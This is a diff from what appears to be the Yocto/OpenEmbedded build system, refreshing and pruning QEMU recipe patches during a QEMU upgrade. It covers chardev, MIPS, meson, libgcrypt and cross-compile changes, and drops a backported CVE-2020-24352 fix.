- (MMU_TYPE_R4000 << CP0C0_MT),
-- .CP0_Config1 = MIPS_CONFIG1 | (1 << CP0C1_FP) | (15 << CP0C1_MMU) |
-+ .CP0_Config1 = MIPS_CONFIG1 | (1 << CP0C1_FP) | (63 << CP0C1_MMU) |
- (0 << CP0C1_IS) | (3 << CP0C1_IL) | (1 << CP0C1_IA) |
- (0 << CP0C1_DS) | (3 << CP0C1_DL) | (1 << CP0C1_DA) |
- (1 << CP0C1_CA),
diff --git a/meta/recipes-devtools/qemu/qemu/0001-tests-meson.build-use-relative-path-to-refer-to-file.patch b/meta/recipes-devtools/qemu/qemu/0001-tests-meson.build-use-relative-path-to-refer-to-file.patch
new file mode 100644
index 0000000000..fcef129181
--- /dev/null
+++ b/meta/recipes-devtools/qemu/qemu/0001-tests-meson.build-use-relative-path-to-refer-to-file.patch
@@ -0,0 +1,34 @@
+From a4bdc0416134477e4eae386db04b1de7491163bb Mon Sep 17 00:00:00 2001
+From: Changqing Li <changqing.li@windriver.com>
+Date: Thu, 14 Jan 2021 06:33:04 +0000
+Subject: [PATCH] tests/meson.build: use relative path to refer to files
+
+Fix error like:
+Fatal error: can't create tests/ptimer-test.p/..._qemu-5.2.0_hw_core_ptimer.c.o: File name too long
+
+when build path is too long, use meson.source_root() will make this
+filename too long. Fixed by using relative path to refer to files
+
+Upstream-Status: Submitted [send to qemu-devel]
+
+Signed-off-by: Changqing Li <changqing.li@windriver.com>
+---
+ tests/meson.build | 2 +-
+ 1 files changed, 1 insertions(+), 1 deletion(-)
+
+Index: qemu-6.2.0/tests/unit/meson.build
+===================================================================
+--- qemu-6.2.0.orig/tests/unit/meson.build
++++ qemu-6.2.0/tests/unit/meson.build
+@@ -44,9 +44,9 @@ tests = {
+ 'test-keyval': [testqapi],
+ 'test-logging': [],
+ 'test-uuid': [],
+- 'ptimer-test': ['ptimer-test-stubs.c', meson.project_source_root() / 'hw/core/ptimer.c'],
++ 'ptimer-test': ['ptimer-test-stubs.c', '../../hw/core/ptimer.c'],
+ 'test-qapi-util': [],
+- 'test-smp-parse': [qom, meson.project_source_root() / 'hw/core/machine-smp.c'],
++ 'test-smp-parse': [qom, '../../hw/core/machine-smp.c'],
+ }
+
+ if have_system or have_tools
diff --git a/meta/recipes-devtools/qemu/qemu/0002-Add-subpackage-ptest-which-runs-all-unit-test-cases-.patch b/meta/recipes-devtools/qemu/qemu/0002-Add-subpackage-ptest-which-runs-all-unit-test-cases-.patch
deleted file mode 100644
index f379948f14..0000000000
--- a/meta/recipes-devtools/qemu/qemu/0002-Add-subpackage-ptest-which-runs-all-unit-test-cases-.patch
+++ /dev/null
@@ -1,35 +0,0 @@
-From 5da6cef7761157a003e7ebde74fb3cf90ab396d9 Mon Sep 17 00:00:00 2001
-From: Juro Bystricky <juro.bystricky@intel.com>
-Date: Thu, 31 Aug 2017 11:06:56 -0700
-Subject: [PATCH] Add subpackage -ptest which runs all unit test cases for
- qemu.
-
-Upstream-Status: Pending
-
-Signed-off-by: Kai Kang <kai.kang@windriver.com>
-
-Signed-off-by: Juro Bystricky <juro.bystricky@intel.com>
-
-[update patch context]
-Signed-off-by: Sakib Sajal <sakib.sajal@windriver.com>
----
- tests/Makefile.include | 8 ++++++++
- 1 file changed, 8 insertions(+)
-
-Index: qemu-5.1.0/tests/Makefile.include
-===================================================================
---- qemu-5.1.0.orig/tests/Makefile.include
-+++ qemu-5.1.0/tests/Makefile.include
-@@ -982,4 +982,12 @@ all: $(QEMU_IOTESTS_HELPERS-y)
- -include $(wildcard tests/qtest/*.d)
- -include $(wildcard tests/qtest/libqos/*.d)
-
-+buildtest-TESTS: $(check-unit-y)
-+
-+runtest-TESTS:
-+ for f in $(check-unit-y); do \
-+ nf=$$(echo $$f | sed 's/tests\//\.\//g'); \
-+ $$nf; \
-+ done
-+
- endif
diff --git a/meta/recipes-devtools/qemu/qemu/0003-qemu-Add-addition-environment-space-to-boot-loader-q.patch b/meta/recipes-devtools/qemu/qemu/0003-qemu-Add-addition-environment-space-to-boot-loader-q.patch
index 33cef42217..733789be29 100644
--- a/meta/recipes-devtools/qemu/qemu/0003-qemu-Add-addition-environment-space-to-boot-loader-q.patch
+++ b/meta/recipes-devtools/qemu/qemu/0003-qemu-Add-addition-environment-space-to-boot-loader-q.patch
@@ -18,13 +18,13 @@ Signed-off-by: Roy Li <rongqing.li@windriver.com>
hw/mips/malta.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
-Index: qemu-5.1.0/hw/mips/malta.c
+Index: qemu-6.0.0/hw/mips/malta.c
===================================================================
---- qemu-5.1.0.orig/hw/mips/malta.c
-+++ qemu-5.1.0/hw/mips/malta.c
-@@ -59,7 +59,7 @@
-
- #define ENVP_ADDR 0x80002000l
+--- qemu-6.0.0.orig/hw/mips/malta.c
++++ qemu-6.0.0/hw/mips/malta.c
+@@ -65,7 +65,7 @@
+ #define ENVP_PADDR 0x2000
+ #define ENVP_VADDR cpu_mips_phys_to_kseg0(NULL, ENVP_PADDR)
#define ENVP_NB_ENTRIES 16
-#define ENVP_ENTRY_SIZE 256
+#define ENVP_ENTRY_SIZE 1024
diff --git a/meta/recipes-devtools/qemu/qemu/0004-qemu-disable-Valgrind.patch b/meta/recipes-devtools/qemu/qemu/0004-qemu-disable-Valgrind.patch
deleted file mode 100644
index 71f537f9b0..0000000000
--- a/meta/recipes-devtools/qemu/qemu/0004-qemu-disable-Valgrind.patch
+++ /dev/null
@@ -1,34 +0,0 @@
-From 4127296bb1046cdf73994ba69dc913d8c02fd74f Mon Sep 17 00:00:00 2001
-From: Ross Burton <ross.burton@intel.com>
-Date: Tue, 20 Oct 2015 22:19:08 +0100
-Subject: [PATCH] qemu: disable Valgrind
-
-There isn't an option to enable or disable valgrind support, so disable it to avoid non-deterministic builds.
-
-Upstream-Status: Inappropriate
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-
----
- configure | 9 ---------
- 1 file changed, 9 deletions(-)
-
-Index: qemu-5.1.0/configure
-===================================================================
---- qemu-5.1.0.orig/configure
-+++ qemu-5.1.0/configure
-@@ -5751,15 +5751,6 @@ fi
- # check if we have valgrind/valgrind.h
-
- valgrind_h=no
--cat > $TMPC << EOF
--#include <valgrind/valgrind.h>
--int main(void) {
-- return 0;
--}
--EOF
--if compile_prog "" "" ; then
-- valgrind_h=yes
--fi
-
- ########################################
- # check if environ is declared
diff --git a/meta/recipes-devtools/qemu/qemu/0005-qemu-native-set-ld.bfd-fix-cflags-and-set-some-envir.patch b/meta/recipes-devtools/qemu/qemu/0005-qemu-native-set-ld.bfd-fix-cflags-and-set-some-envir.patch
deleted file mode 100644
index 02ebbee1a0..0000000000
--- a/meta/recipes-devtools/qemu/qemu/0005-qemu-native-set-ld.bfd-fix-cflags-and-set-some-envir.patch
+++ /dev/null
@@ -1,28 +0,0 @@
-From 230fe5804099bdca0c9e4cae7280c9fc513cb7f5 Mon Sep 17 00:00:00 2001
-From: Stephen Arnold <sarnold@vctlabs.com>
-Date: Sun, 12 Jun 2016 18:09:56 -0700
-Subject: [PATCH] qemu-native: set ld.bfd, fix cflags, and set some environment
-
-Upstream-Status: Pending
-
-[update patch context]
-Signed-off-by: Sakib Sajal <sakib.sajal@windriver.com>
----
- configure | 4 ----
- 1 file changed, 4 deletions(-)
-
-Index: qemu-5.1.0/configure
-===================================================================
---- qemu-5.1.0.orig/configure
-+++ qemu-5.1.0/configure
-@@ -6515,10 +6515,6 @@ write_c_skeleton
- if test "$gcov" = "yes" ; then
- QEMU_CFLAGS="-fprofile-arcs -ftest-coverage -g $QEMU_CFLAGS"
- QEMU_LDFLAGS="-fprofile-arcs -ftest-coverage $QEMU_LDFLAGS"
--elif test "$fortify_source" = "yes" ; then
-- CFLAGS="-O2 -U_FORTIFY_SOURCE -D_FORTIFY_SOURCE=2 $CFLAGS"
--elif test "$debug" = "no"; then
-- CFLAGS="-O2 $CFLAGS"
- fi
-
- if test "$have_asan" = "yes"; then
diff --git a/meta/recipes-devtools/qemu/qemu/0006-chardev-connect-socket-to-a-spawned-command.patch b/meta/recipes-devtools/qemu/qemu/0006-chardev-connect-socket-to-a-spawned-command.patch
index 98fd5e9133..cf8b0e7a45 100644
--- a/meta/recipes-devtools/qemu/qemu/0006-chardev-connect-socket-to-a-spawned-command.patch
+++ b/meta/recipes-devtools/qemu/qemu/0006-chardev-connect-socket-to-a-spawned-command.patch
@@ -51,11 +51,11 @@ Signed-off-by: Patrick Ohly <patrick.ohly@intel.com>
qapi/char.json | 5 +++
3 files changed, 109 insertions(+)
-Index: qemu-5.1.0/chardev/char-socket.c
+Index: qemu-6.2.0/chardev/char-socket.c
===================================================================
---- qemu-5.1.0.orig/chardev/char-socket.c
-+++ qemu-5.1.0/chardev/char-socket.c
-@@ -1292,6 +1292,67 @@ static bool qmp_chardev_validate_socket(
+--- qemu-6.2.0.orig/chardev/char-socket.c
++++ qemu-6.2.0/chardev/char-socket.c
+@@ -1362,6 +1362,67 @@ static bool qmp_chardev_validate_socket(
return true;
}
@@ -123,7 +123,7 @@ Index: qemu-5.1.0/chardev/char-socket.c
static void qmp_chardev_open_socket(Chardev *chr,
ChardevBackend *backend,
-@@ -1300,6 +1361,9 @@ static void qmp_chardev_open_socket(Char
+@@ -1370,6 +1431,9 @@ static void qmp_chardev_open_socket(Char
{
SocketChardev *s = SOCKET_CHARDEV(chr);
ChardevSocket *sock = backend->u.socket.data;
@@ -133,7 +133,7 @@ Index: qemu-5.1.0/chardev/char-socket.c
bool do_nodelay = sock->has_nodelay ? sock->nodelay : false;
bool is_listen = sock->has_server ? sock->server : true;
bool is_telnet = sock->has_telnet ? sock->telnet : false;
-@@ -1365,6 +1429,14 @@ static void qmp_chardev_open_socket(Char
+@@ -1440,6 +1504,14 @@ static void qmp_chardev_open_socket(Char
update_disconnected_filename(s);
@@ -148,15 +148,17 @@ Index: qemu-5.1.0/chardev/char-socket.c
if (s->is_listen) {
if (qmp_chardev_open_socket_server(chr, is_telnet || is_tn3270,
is_waitconnect, errp) < 0) {
-@@ -1384,11 +1456,27 @@ static void qemu_chr_parse_socket(QemuOp
+@@ -1459,6 +1531,9 @@ static void qemu_chr_parse_socket(QemuOp
const char *host = qemu_opt_get(opts, "host");
const char *port = qemu_opt_get(opts, "port");
const char *fd = qemu_opt_get(opts, "fd");
+#ifndef _WIN32
+ const char *cmd = qemu_opt_get(opts, "cmd");
+#endif
+ #ifdef CONFIG_LINUX
bool tight = qemu_opt_get_bool(opts, "tight", true);
bool abstract = qemu_opt_get_bool(opts, "abstract", false);
+@@ -1466,6 +1541,20 @@ static void qemu_chr_parse_socket(QemuOp
SocketAddressLegacy *addr;
ChardevSocket *sock;
@@ -173,40 +175,40 @@ Index: qemu-5.1.0/chardev/char-socket.c
+ }
+ } else
+#endif
++
if ((!!path + !!fd + !!host) != 1) {
error_setg(errp,
"Exactly one of 'path', 'fd' or 'host' required");
-@@ -1431,12 +1519,24 @@ static void qemu_chr_parse_socket(QemuOp
+@@ -1516,13 +1605,24 @@ static void qemu_chr_parse_socket(QemuOp
+ sock->tls_creds = g_strdup(qemu_opt_get(opts, "tls-creds"));
sock->has_tls_authz = qemu_opt_get(opts, "tls-authz");
sock->tls_authz = g_strdup(qemu_opt_get(opts, "tls-authz"));
-
-- addr = g_new0(SocketAddressLegacy, 1);
+#ifndef _WIN32
+ sock->cmd = g_strdup(cmd);
+#endif
-+
-+ addr = g_new0(SocketAddressLegacy, 1);
+
+ addr = g_new0(SocketAddressLegacy, 1);
+#ifndef _WIN32
+ if (path || cmd) {
+#else
if (path) {
+#endif
UnixSocketAddress *q_unix;
- addr->type = SOCKET_ADDRESS_LEGACY_KIND_UNIX;
+ addr->type = SOCKET_ADDRESS_TYPE_UNIX;
q_unix = addr->u.q_unix.data = g_new0(UnixSocketAddress, 1);
+#ifndef _WIN32
+ q_unix->path = cmd ? g_strdup_printf("cmd:%s", cmd) : g_strdup(path);
+#else
q_unix->path = g_strdup(path);
+#endif
+ #ifdef CONFIG_LINUX
+ q_unix->has_tight = true;
q_unix->tight = tight;
- q_unix->abstract = abstract;
- } else if (host) {
-Index: qemu-5.1.0/chardev/char.c
+Index: qemu-6.2.0/chardev/char.c
===================================================================
---- qemu-5.1.0.orig/chardev/char.c
-+++ qemu-5.1.0/chardev/char.c
-@@ -826,6 +826,9 @@ QemuOptsList qemu_chardev_opts = {
+--- qemu-6.2.0.orig/chardev/char.c
++++ qemu-6.2.0/chardev/char.c
+@@ -836,6 +836,9 @@ QemuOptsList qemu_chardev_opts = {
.name = "path",
.type = QEMU_OPT_STRING,
},{
@@ -216,10 +218,10 @@ Index: qemu-5.1.0/chardev/char.c
.name = "host",
.type = QEMU_OPT_STRING,
},{
-Index: qemu-5.1.0/qapi/char.json
+Index: qemu-6.2.0/qapi/char.json
===================================================================
---- qemu-5.1.0.orig/qapi/char.json
-+++ qemu-5.1.0/qapi/char.json
+--- qemu-6.2.0.orig/qapi/char.json
++++ qemu-6.2.0/qapi/char.json
@@ -250,6 +250,10 @@
#
# @addr: socket address to listen on (server=true)
diff --git a/meta/recipes-devtools/qemu/qemu/0007-apic-fixup-fallthrough-to-PIC.patch b/meta/recipes-devtools/qemu/qemu/0007-apic-fixup-fallthrough-to-PIC.patch
index 034ac57821..3491fa8a53 100644
--- a/meta/recipes-devtools/qemu/qemu/0007-apic-fixup-fallthrough-to-PIC.patch
+++ b/meta/recipes-devtools/qemu/qemu/0007-apic-fixup-fallthrough-to-PIC.patch
@@ -29,11 +29,11 @@ Signed-off-by: He Zhe <zhe.he@windriver.com>
hw/intc/apic.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
-Index: qemu-5.1.0/hw/intc/apic.c
+Index: qemu-6.0.0/hw/intc/apic.c
===================================================================
---- qemu-5.1.0.orig/hw/intc/apic.c
-+++ qemu-5.1.0/hw/intc/apic.c
-@@ -603,7 +603,7 @@ int apic_accept_pic_intr(DeviceState *de
+--- qemu-6.0.0.orig/hw/intc/apic.c
++++ qemu-6.0.0/hw/intc/apic.c
+@@ -606,7 +606,7 @@ int apic_accept_pic_intr(DeviceState *de
APICCommonState *s = APIC(dev);
uint32_t lvt0;
diff --git a/meta/recipes-devtools/qemu/qemu/0008-linux-user-Fix-webkitgtk-hangs-on-32-bit-x86-target.patch b/meta/recipes-devtools/qemu/qemu/0008-linux-user-Fix-webkitgtk-hangs-on-32-bit-x86-target.patch
deleted file mode 100644
index d20f04ee59..0000000000
--- a/meta/recipes-devtools/qemu/qemu/0008-linux-user-Fix-webkitgtk-hangs-on-32-bit-x86-target.patch
+++ /dev/null
@@ -1,33 +0,0 @@
-From cf8c9aac5243f506a1a3e8e284414f311cde04f5 Mon Sep 17 00:00:00 2001
-From: Alistair Francis <alistair.francis@xilinx.com>
-Date: Wed, 17 Jan 2018 10:51:49 -0800
-Subject: [PATCH] linux-user: Fix webkitgtk hangs on 32-bit x86 target
-
-Since commit "linux-user: Tidy and enforce reserved_va initialization"
-(18e80c55bb6ec17c05ec0ba717ec83933c2bfc07) the Yocto webkitgtk build
-hangs when cross compiling for 32-bit x86 on a 64-bit x86 machine using
-musl.
-
-To fix the issue reduce the MAX_RESERVED_VA macro to be a closer match
-to what it was before the problematic commit.
-
-Upstream-Status: Submitted http://lists.gnu.org/archive/html/qemu-devel/2018-01/msg04185.html
-Signed-off-by: Alistair Francis <alistair.francis@xilinx.com>
-
----
- linux-user/main.c | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-Index: qemu-5.1.0/linux-user/main.c
-===================================================================
---- qemu-5.1.0.orig/linux-user/main.c
-+++ qemu-5.1.0/linux-user/main.c
-@@ -92,7 +92,7 @@ static int last_log_mask;
- (TARGET_LONG_BITS == 32 || defined(TARGET_ABI32))
- /* There are a number of places where we assign reserved_va to a variable
- of type abi_ulong and expect it to fit. Avoid the last page. */
--# define MAX_RESERVED_VA(CPU) (0xfffffffful & TARGET_PAGE_MASK)
-+# define MAX_RESERVED_VA(CPU) (0x7ffffffful & TARGET_PAGE_MASK)
- # else
- # define MAX_RESERVED_VA(CPU) (1ul << TARGET_VIRT_ADDR_SPACE_BITS)
- # endif
diff --git a/meta/recipes-devtools/qemu/qemu/0009-Fix-webkitgtk-builds.patch b/meta/recipes-devtools/qemu/qemu/0009-Fix-webkitgtk-builds.patch
deleted file mode 100644
index f2a44986b7..0000000000
--- a/meta/recipes-devtools/qemu/qemu/0009-Fix-webkitgtk-builds.patch
+++ /dev/null
@@ -1,137 +0,0 @@
-From 815c97ba0de02da9dace3fcfcbdf9b20e029f0d7 Mon Sep 17 00:00:00 2001
-From: Martin Jansa <martin.jansa@lge.com>
-Date: Fri, 1 Jun 2018 08:41:07 +0000
-Subject: [PATCH] Fix webkitgtk builds
-
-This is a partial revert of "linux-user: fix mmap/munmap/mprotect/mremap/shmat".
-
-This patch fixes qemu-i386 hangs during gobject-introspection in webkitgtk build
-when musl is used on qemux86. This is the same issue that
-0008-linux-user-Fix-webkitgtk-hangs-on-32-bit-x86-target.patch was
-fixing in the 2.11 release.
-
-This patch also fixes a build failure when building webkitgtk for
-qemumips. A QEMU assert is seen while building webkitgtk:
-page_check_range: Assertion `start < ((target_ulong)1 << L1_MAP_ADDR_SPACE_BITS)' failed.
-
-This reverts commit ebf9a3630c911d0cfc9c20f7cafe9ba4f88cf583.
-
-Upstream-Status: Pending
-Signed-off-by: Alistair Francis <alistair.francis@wdc.com>
-
-[update patch context]
-Signed-off-by: Sakib Sajal <sakib.sajal@windriver.com>
----
- include/exec/cpu-all.h | 6 +-----
- include/exec/cpu_ldst.h | 5 ++++-
- linux-user/mmap.c | 17 ++++-------------
- linux-user/syscall.c | 5 +----
- 4 files changed, 10 insertions(+), 23 deletions(-)
-
-Index: qemu-5.1.0/include/exec/cpu-all.h
-===================================================================
---- qemu-5.1.0.orig/include/exec/cpu-all.h
-+++ qemu-5.1.0/include/exec/cpu-all.h
-@@ -176,11 +176,8 @@ extern unsigned long reserved_va;
- * avoid setting bits at the top of guest addresses that might need
- * to be used for tags.
- */
--#define GUEST_ADDR_MAX_ \
-- ((MIN_CONST(TARGET_VIRT_ADDR_SPACE_BITS, TARGET_ABI_BITS) <= 32) ? \
-- UINT32_MAX : ~0ul)
--#define GUEST_ADDR_MAX (reserved_va ? reserved_va - 1 : GUEST_ADDR_MAX_)
--
-+#define GUEST_ADDR_MAX (reserved_va ? reserved_va : \
-+ (1ul << TARGET_VIRT_ADDR_SPACE_BITS) - 1)
- #else
-
- #include "exec/hwaddr.h"
-Index: qemu-5.1.0/include/exec/cpu_ldst.h
-===================================================================
---- qemu-5.1.0.orig/include/exec/cpu_ldst.h
-+++ qemu-5.1.0/include/exec/cpu_ldst.h
-@@ -75,7 +75,10 @@ typedef uint64_t abi_ptr;
- #if HOST_LONG_BITS <= TARGET_VIRT_ADDR_SPACE_BITS
- #define guest_addr_valid(x) (1)
- #else
--#define guest_addr_valid(x) ((x) <= GUEST_ADDR_MAX)
-+#define guest_addr_valid(x) ({ \
-+ ((x) < (1ul << TARGET_VIRT_ADDR_SPACE_BITS)) && \
-+ (!reserved_va || ((x) < reserved_va)); \
-+})
- #endif
- #define h2g_valid(x) guest_addr_valid((unsigned long)(x) - guest_base)
-
-Index: qemu-5.1.0/linux-user/mmap.c
-===================================================================
---- qemu-5.1.0.orig/linux-user/mmap.c
-+++ qemu-5.1.0/linux-user/mmap.c
-@@ -71,7 +71,7 @@ int target_mprotect(abi_ulong start, abi
- return -TARGET_EINVAL;
- len = TARGET_PAGE_ALIGN(len);
- end = start + len;
-- if (!guest_range_valid(start, len)) {
-+ if (end < start) {
- return -TARGET_ENOMEM;
- }
- prot &= PROT_READ | PROT_WRITE | PROT_EXEC;
-@@ -467,8 +467,8 @@ abi_long target_mmap(abi_ulong start, ab
- * It can fail only on 64-bit host with 32-bit target.
- * On any other target/host host mmap() handles this error correctly.
- */
-- if (end < start || !guest_range_valid(start, len)) {
-- errno = ENOMEM;
-+ if (end < start || ((unsigned long)start + len - 1 > (abi_ulong) -1)) {
-+ errno = EINVAL;
- goto fail;
- }
-
-@@ -604,10 +604,8 @@ int target_munmap(abi_ulong start, abi_u
- if (start & ~TARGET_PAGE_MASK)
- return -TARGET_EINVAL;
- len = TARGET_PAGE_ALIGN(len);
-- if (len == 0 || !guest_range_valid(start, len)) {
-+ if (len == 0)
- return -TARGET_EINVAL;
-- }
--
- mmap_lock();
- end = start + len;
- real_start = start & qemu_host_page_mask;
-@@ -662,13 +660,6 @@ abi_long target_mremap(abi_ulong old_add
- int prot;
- void *host_addr;
-
-- if (!guest_range_valid(old_addr, old_size) ||
-- ((flags & MREMAP_FIXED) &&
-- !guest_range_valid(new_addr, new_size))) {
-- errno = ENOMEM;
-- return -1;
-- }
--
- mmap_lock();
-
- if (flags & MREMAP_FIXED) {
-Index: qemu-5.1.0/linux-user/syscall.c
-===================================================================
---- qemu-5.1.0.orig/linux-user/syscall.c
-+++ qemu-5.1.0/linux-user/syscall.c
-@@ -4336,9 +4336,6 @@ static inline abi_ulong do_shmat(CPUArch
- return -TARGET_EINVAL;
- }
- }
-- if (!guest_range_valid(shmaddr, shm_info.shm_segsz)) {
-- return -TARGET_EINVAL;
-- }
-
- mmap_lock();
-
-@@ -7376,7 +7373,7 @@ static int open_self_maps(void *cpu_env,
- const char *path;
-
- max = h2g_valid(max - 1) ?
-- max : (uintptr_t) g2h(GUEST_ADDR_MAX) + 1;
-+ max : (uintptr_t) g2h(GUEST_ADDR_MAX);
-
- if (page_check_range(h2g(min), max - min, flags) == -1) {
- continue;
diff --git a/meta/recipes-devtools/qemu/qemu/0010-configure-Add-pkg-config-handling-for-libgcrypt.patch b/meta/recipes-devtools/qemu/qemu/0010-configure-Add-pkg-config-handling-for-libgcrypt.patch
index d7e3fffdd0..4298964dfa 100644
--- a/meta/recipes-devtools/qemu/qemu/0010-configure-Add-pkg-config-handling-for-libgcrypt.patch
+++ b/meta/recipes-devtools/qemu/qemu/0010-configure-Add-pkg-config-handling-for-libgcrypt.patch
@@ -1,4 +1,4 @@
-From c207607cdf3996ad9783c3bffbcd3d65e74c0158 Mon Sep 17 00:00:00 2001
+From b51e6dd833172954c718bd600d846540eeb07220 Mon Sep 17 00:00:00 2001
From: He Zhe <zhe.he@windriver.com>
Date: Wed, 28 Aug 2019 19:56:28 +0800
Subject: [PATCH] configure: Add pkg-config handling for libgcrypt
@@ -11,81 +11,19 @@ Upstream-Status: Denied [https://lists.nongnu.org/archive/html/qemu-devel/2019-0
Signed-off-by: He Zhe <zhe.he@windriver.com>
---
- configure | 48 ++++++++++++++++++++++++++++++++++++++++--------
- 1 file changed, 40 insertions(+), 8 deletions(-)
+ meson.build | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
-Index: qemu-5.1.0/configure
-===================================================================
---- qemu-5.1.0.orig/configure
-+++ qemu-5.1.0/configure
-@@ -3084,6 +3084,30 @@ has_libgcrypt() {
- return 0
- }
-
-+has_libgcrypt_pkgconfig() {
-+ if ! has $pkg_config ; then
-+ return 1
-+ fi
-+
-+ if ! $pkg_config --list-all | grep libgcrypt > /dev/null 2>&1 ; then
-+ return 1
-+ fi
-+
-+ if test -n "$cross_prefix" ; then
-+ host=$($pkg_config --variable=host libgcrypt)
-+ if test "${host%-gnu}-" != "${cross_prefix%-gnu}" ; then
-+ print_error "host($host) does not match cross_prefix($cross_prefix)"
-+ return 1
-+ fi
-+ fi
-+
-+ if ! $pkg_config --atleast-version=1.5.0 libgcrypt ; then
-+ print_error "libgcrypt version is $($pkg_config --modversion libgcrypt)"
-+ return 1
-+ fi
-+
-+ return 0
-+}
-
- if test "$nettle" != "no"; then
- pass="no"
-@@ -3124,7 +3148,14 @@ fi
-
- if test "$gcrypt" != "no"; then
- pass="no"
-- if has_libgcrypt; then
-+ if has_libgcrypt_pkgconfig; then
-+ gcrypt_cflags=$($pkg_config --cflags libgcrypt)
-+ if test "$static" = "yes" ; then
-+ gcrypt_libs=$($pkg_config --libs --static libgcrypt)
-+ else
-+ gcrypt_libs=$($pkg_config --libs libgcrypt)
-+ fi
-+ elif has_libgcrypt; then
- gcrypt_cflags=$(libgcrypt-config --cflags)
- gcrypt_libs=$(libgcrypt-config --libs)
- # Debian has removed -lgpg-error from libgcrypt-config
-@@ -3134,15 +3165,16 @@ if test "$gcrypt" != "no"; then
- then
- gcrypt_libs="$gcrypt_libs -lgpg-error"
- fi
-+ fi
-
-- # Link test to make sure the given libraries work (e.g for static).
-- write_c_skeleton
-- if compile_prog "" "$gcrypt_libs" ; then
-- LIBS="$gcrypt_libs $LIBS"
-- QEMU_CFLAGS="$QEMU_CFLAGS $gcrypt_cflags"
-- pass="yes"
-- fi
-+ # Link test to make sure the given libraries work (e.g for static).
-+ write_c_skeleton
-+ if compile_prog "" "$gcrypt_libs" ; then
-+ LIBS="$gcrypt_libs $LIBS"
-+ QEMU_CFLAGS="$QEMU_CFLAGS $gcrypt_cflags"
-+ pass="yes"
- fi
-+
- if test "$pass" = "yes"; then
- gcrypt="yes"
- cat > $TMPC << EOF
+diff --git a/meson.build b/meson.build
+index b3e7ec0e9..4cbe715b7 100644
+--- a/meson.build
++++ b/meson.build
+@@ -874,7 +874,7 @@ endif
+ if not gnutls_crypto.found()
+ if (not get_option('gcrypt').auto() or have_system) and not get_option('nettle').enabled()
+ gcrypt = dependency('libgcrypt', version: '>=1.8',
+- method: 'config-tool',
++ method: 'pkg-config',
+ required: get_option('gcrypt'),
+ kwargs: static_kwargs)
+ # Debian has removed -lgpg-error from libgcrypt-config
diff --git a/meta/recipes-devtools/qemu/qemu/CVE-2020-24352.patch b/meta/recipes-devtools/qemu/qemu/CVE-2020-24352.patch
deleted file mode 100644
index 861ff6c3b0..0000000000
--- a/meta/recipes-devtools/qemu/qemu/CVE-2020-24352.patch
+++ /dev/null
@@ -1,52 +0,0 @@
-From ca1f9cbfdce4d63b10d57de80fef89a89d92a540 Mon Sep 17 00:00:00 2001
-From: Prasad J Pandit <pjp@fedoraproject.org>
-Date: Wed, 21 Oct 2020 16:08:18 +0530
-Subject: [PATCH 1/1] ati: check x y display parameter values
-
-The source and destination x,y display parameters in ati_2d_blt()
-may run off the vga limits if either of s->regs.[src|dst]_[xy] is
-zero. Check the parameter values to avoid potential crash.
-
-Reported-by: Gaoning Pan <pgn@zju.edu.cn>
-Signed-off-by: Prasad J Pandit <pjp@fedoraproject.org>
-Message-id: 20201021103818.1704030-1-ppandit@redhat.com
-Signed-off-by: Gerd Hoffmann <kraxel@redhat.com>
-
-Upstream-Status: Backport [ https://git.qemu.org/?p=qemu.git;a=commitdiff;h=ca1f9cbfdce4d63b10d57de80fef89a89d92a540;hp=2ddafce7f797082ad216657c830afd4546f16e37 ]
-CVE: CVE-2020-24352
-Signed-off-by: Chee Yang Lee <chee.yang.lee@intel.com>
----
- hw/display/ati_2d.c | 10 ++++++----
- 1 file changed, 6 insertions(+), 4 deletions(-)
-
-diff --git a/hw/display/ati_2d.c b/hw/display/ati_2d.c
-index 23a8ae0..4dc10ea 100644
---- a/hw/display/ati_2d.c
-+++ b/hw/display/ati_2d.c
-@@ -75,8 +75,9 @@ void ati_2d_blt(ATIVGAState *s)
- dst_stride *= bpp;
- }
- uint8_t *end = s->vga.vram_ptr + s->vga.vram_size;
-- if (dst_bits >= end || dst_bits + dst_x + (dst_y + s->regs.dst_height) *
-- dst_stride >= end) {
-+ if (dst_x > 0x3fff || dst_y > 0x3fff || dst_bits >= end
-+ || dst_bits + dst_x
-+ + (dst_y + s->regs.dst_height) * dst_stride >= end) {
- qemu_log_mask(LOG_UNIMP, "blt outside vram not implemented\n");
- return;
- }
-@@ -107,8 +108,9 @@ void ati_2d_blt(ATIVGAState *s)
- src_bits += s->regs.crtc_offset & 0x07ffffff;
- src_stride *= bpp;
- }
-- if (src_bits >= end || src_bits + src_x +
-- (src_y + s->regs.dst_height) * src_stride >= end) {
-+ if (src_x > 0x3fff || src_y > 0x3fff || src_bits >= end
-+ || src_bits + src_x
-+ + (src_y + s->regs.dst_height) * src_stride >= end) {
- qemu_log_mask(LOG_UNIMP, "blt outside vram not implemented\n");
- return;
- }
---
-1.8.3.1
-
diff --git a/meta/recipes-devtools/qemu/qemu/cross.patch b/meta/recipes-devtools/qemu/qemu/cross.patch
new file mode 100644
index 0000000000..bdb77ec7d0
--- /dev/null
+++ b/meta/recipes-devtools/qemu/qemu/cross.patch
@@ -0,0 +1,40 @@
+From f51ece86f84c877f255746cba22a6745f37d2b7f Mon Sep 17 00:00:00 2001
+From: Richard Purdie <richard.purdie@linuxfoundation.org>
+Date: Tue, 5 Jan 2021 23:00:14 +0000
+Subject: [PATCH] qemu: Upgrade 5.1.0->5.2.0
+
+We need to be able to trigger configure's cross code but we don't want
+to set cross_prefix as it does other things we don't want. Patch things
+so we can do what we need in the target config case.
+
+Upstream-Status: Inappropriate [may be rewritten in a way upstream may accept?]
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+---
+ configure | 4 ----
+ 1 file changed, 4 deletions(-)
+
+diff --git a/configure b/configure
+index 9a79a004d..563b7827f 100755
+--- a/configure
++++ b/configure
+@@ -5128,7 +5128,6 @@ if test "$skip_meson" = no; then
+ fi
+ echo "strip = [$(meson_quote $strip)]" >> $cross
+ echo "windres = [$(meson_quote $windres)]" >> $cross
+- if test "$cross_compile" = "yes"; then
+ cross_arg="--cross-file config-meson.cross"
+ echo "[host_machine]" >> $cross
+ if test "$mingw32" = "yes" ; then
+@@ -5160,9 +5159,6 @@ if test "$skip_meson" = no; then
+ else
+ echo "endian = 'little'" >> $cross
+ fi
+- else
+- cross_arg="--native-file config-meson.cross"
+- fi
+ mv $cross config-meson.cross
+
